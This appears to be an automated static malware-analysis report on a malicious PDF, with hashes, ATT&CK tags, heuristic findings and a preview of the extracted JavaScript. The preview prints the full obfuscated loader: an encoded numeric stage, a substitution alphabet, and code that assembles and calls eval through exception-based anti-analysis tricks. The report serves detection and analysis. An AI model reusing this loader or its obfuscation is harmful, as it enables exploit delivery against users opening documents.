Malicious PDF — malware analysis report

Static analysis result for SHA-256 ab35c692a1f0104b…

MALICIOUS

PDF

12.1 KB First seen: 2026-05-07
MD5: 0b4a4f8eb66abcb0a904b5173023c931 SHA-1: 28b37b7ea7545d505f13fb1601c390b05016e449 SHA-256: ab35c692a1f0104b94645e3b13dc006bde04fca8b3a086c3d8b42a8b2b80d635
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified as a loader, which is designed to download and execute a secondary payload. The ML classifier strongly indicates maliciousness. The specific obfuscation technique and the lack of a clear second-stage URL prevent definitive family attribution, but the overall pattern suggests a downloader.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x34B 11368 bytes
SHA-256: e83d29f22385b1ab118099dd70b629222019d42ca150078187626f5037b54fc9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
j='vt34t';
z
=
'0a1a2a3a2a4a5a4a6a6a7a8a9a10a11a4a12a13a14a15a16a16a12a13a1a17a3a18a12a13a14a19a1a17a12a13a20a19a3a18a12a13a3a21a15a18a12a13a15a15a19a1a12a13a16a18a17a22a12a13a18a22a14a7a12a13a14a7a15a22a12a13a22a17a18a22a12a13a20a22a14a7a12a13a19a16a5a17a12a13a20a16a14a7a12a13a15a15a22a14a12a13a16a16a23a7a12a13a19a3a14a7a12a13a22a15a15a17a12a13a15a15a20a18a12a13a14a5a24a17a12a13a5a19a3a3a12a13a1a1a5a22a12a13a7a14a1a1a12a13a18a22a14a7a12a13a17a15a15a22a12a13a15a21a18a16a12a13a20a19a22a16a12a13a14a20a1a7a12a13a24a18a15a18a12a13a3a18a14a19a12a13a19a5a20a19a12a13a3a7a3a21a12a13a19a5a18a17a12a13a14a7a19a16a12a13a15a17a20a19a12a13a20a18a14a7a12a13a20a14a15a19a12a13a1a19a22a15a12a13a14a7a19a16a12a13a24a22a20a16a12a13a1a19a22a15a12a13a17a21a15a15a12a13a18a5a18a21a12a13a25a23a1a17a12a13a17a19a22a15a12a13a23a7a15a15a12a13a7a3a22a1a12a13a15a14a5a22a12a13a20a18a1a24a12a13a17a5a22a14a12a13a22a23a17a7a12a13a23a25a22a15a12a13a3a7a18a22a12a13a15a7a1a5a12a13a20a19a5a1a12a13a19a3a3a16a12a13a19a3a14a7a12a13a22a15a24a18a12a13a16a16a23a23a12a13a22a17a14a7a12a13a14a23a18a7a12a13a3a17a18a16a12a13a19a18a1a1a12a13a22a17a24a18a12a13a23a14a14a7a12a13a23a23a22a15a12a13a22a18a14a7a12a13a22a15a14a7a12a13a25a7a17a19a12a13a19a21a19a3a12a13a3a7a17a15a12a13a25a23a19a15a12a13a16a14a14a7a12a13a14a22a24a22a12a13a22a17a20a23a12a13a20a18a15a15a12a13a21a16a22a15a12a13a1a15a3a7a12a13a16a14a14a7a12a13a14a7a22a14a12a13a16a25a1a20a12a13a19a21a22a19a12a13a21a14a3a14a12a13a1a1a1a1a12a13a3a24a1a1a12a13a3a14a1a21a12a13a22a22a22a22a12a13a22a22a22a22a12a13a19a22a19a14a12a13a18a22a16a25a12a13a1a1a16a14a12a13a22a22a22a22a12a13a19a22a22a22a12a13a17a22a14a15a12a13a19a22a5a21a12a13a14a7a19a19a12a13a14a7a3a17a12a13a5a22a19a3a12a13a17a15a14a15a12a13a1a1a22a19a12a13a16a14a3a15a12a13a16a3a16a1a12a13a22a22a22a22a12a13a20a19a16a14a12a13a16a17a20a24a12a13a19a18a16a23a12a13a5a16a1a1a12a13a17a18a14a15a12a13a14a7a22a14a12a13a3a14a3a14a12a13a1a1a16a5a12a13a1a1a1a1a12a13a22a24a3a7a12a13a20a24a3a7a12a13a3a17a14a5a12a13a22a5a22a18a12a13a22a22a22a22a12a13a19a17a14a23a12a13a22a17a24a18a12a13a22a18a17a20a12a13a20a24a24a18a12a13a16a20a16a19a12a13a17a20a20a15a12a13a24a18a18a18a12a13a20a16a22a18a12a13a15a15a20a24a12a13a17a20a15a24a12a13a24a18a18a18a12a13a24a22a22a14a12a13a20a15a24a23a12a13a19a15a24a22a12a13a1a14a16a14a12a13a22a22a22a22a12a13a1a1a22a22a12a13a22a17a19a16a12a13a3a14a14a7a12a13a17a21a15a15a12a13a17a20a19a5a12a13a5a23a18a18a12a13a20a20a22a22a12a13a16a24a20a22a12a13a17a20a20a18a12a13a5a23a18a18a12a13a24a3a22a19a12a13a16a17a16a18a12a13a17a16a16a17a12a13a5a23a18a18a12a13a22a22a22a21a12a13a14a25a19a21a12a13a22a18a17a5a12a13a14a14a15a22a12a13a5a23a18a18a12a13a18a5a22a18a12a13a16a25a19a5a12a13a16a25a22a22a12a13a19a15a22a22a12a13a16a25a19a20a12a13a1a1a22a22a12a13a5a18a19a16a12a13a17a22a14a19a12a13a5a16a20a19a12a13a22a22a16a25a12a13a1a1a19a15a12a13a22a18a19a16a12a13a22a22a16a25a12a13a3a7a14a15a12a13a19a15a22a17a12a13a19a16a1a1a12a13a14a15a22a18a12a13a22a17a17a15a12a13a22a24a3a7a12a13a5a15a3a7a12a13a14a22a18a20a12a13a22a22a15a1a12a13a1a25a20a19a12a13a14a22a18a20a12a13a22a22a15a1a12a13a17a18a20a19a12a13a22a22a16a25a12a13a1a3a16a25a12a13a19a16a1a1a12a13a3a14a22a14a12a13a1a3a21a17a12a13a1a1a1a1a12a13a18a3a14a3a12a13a3a17a22a3a12a13a1a3a21a14a12a13a22a3a14a25a12a13a16a1a14a21a12a13a7a23a22a5a12a13a17a25a15a15a12a13a19a7a14a25a12a13a17a16a5a7a12a13a20a21a18a16a12a13a5a25a15a16a12a13a20a22a24a1a12a13a20a18a16a14a12a13a20a22a20a18a12a13a24a1a15a25a12a13a20a22a24a1a12a13a20a24a16a5a12a13a16a14a16a5a12a13a16a17a16a1a12a13a24a3a16a19a12a13a20a19a20a24a12a13a20a20a24a1a12a13a20a22a24a3a12a13a20a22a16a14a12a13a16a16a15a1a12a13a15a16a15a23a12a13a24a16a15a5a12a13a15a23a16a19a12a13a22a22a15a19a12a13a22a22a22a22a4a26a1a13a27a17a28a0a29a27a30a3a31a32a33a2a33a25a34a35a36a6a37a38a39a0a40a3a2a33a25a41a40a3a27a10a28a39a42a24a43a35a36a6a37a33a25a44a11a33a25a26a45a33a25a11a33a25a41a9a13a7a9a28a33a0a27a10a2a22a34a35a36a46a24a6a26a33a3a28a13a33a27a30a33a25a26a45a30a1a13a27a17a28a0a29a27a30a7a47a2a6a37a32a25a33a30a23a48a10a11a27a3a38a30a49a33a33a25a36a2a6a26a32a25a33a30a32a38a11a22a47a22a17a22a17a22a17a22a17a26a32a25a33a30a25a23a23a33a11a22a47a18a22a22a22a22a22a26a32a25a33a30a50a25a36a40a29a25a23a11a13a27a3a9a17a25a50a3a2a7a8a9a10a6a26a32a25a33a30a9a17a51a40a3a27a11a50a25a36a40a29a25a23a41a40a3a27a10a28a39a42a24a26a32a25a33a30a35a36a11a25a23a23a33a52a2a9a17a51a40a3a27a44a22a47a15a14a6a26a32a25a33a30a36a25a33a9a50a11a13a27a3a9a17a25a50a3a2a53a12a13a21a22a21a22a12a13a21a22a21a22a53a6a26a36a25a33a9a50a11a3a31a32a33a2a36a25a33a9a50a34a35a36a6a26a32a25a33a30a17a29a13a27a28a24a11a2a32a38a52a22a47a18a22a22a22a22a22a6a46a25a23a23a33a26a1a29a33a2a32a25a33a30a17a29a13a27a28a11a22a26a17a29a13a27a28a43a17a29a13a27a28a24a26a17a29a13a27a28a44a44a6a37a23a48a10a54a17a29a13a27a28a55a11a36a25a33a9a50a44a50a25a36a40a29a25a23a26a45a30a32a25a33a30a29a32a3a33a1a40a29a38a11a13a27a3a9a17a25a50a3a2a53a12a13a22a17a22a17a12a13a22a17a22a17a53a6a26a38a39a0a40a3a2a29a32a3a33a1a40a29a38a41a40a3a27a10a28a39a43a18a18a21a19a24a6a37a29a32a3a33a1a40a29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a=new String("if(e'1)bjsg=%u836c45790d2a;nto zvr,qy{whl.*<+}/xkAp_-'[]SCEmI:WNKQDUMGPV|&>@");
b="l";
b2="a"
+b;
try
{
for(i in app)
if(i=='printerNames')
new asd;
}catch(q){
e=j[
's'
+
'u'+'bstr']();
try{
b='e'+'v'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
try{if(!google.search())throw 1;}catch(q){r=1;}{
s="";
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[
j]];
}
}}

try{if(!google.search())new ewt;}
catch(nergerg){
e(s);
}

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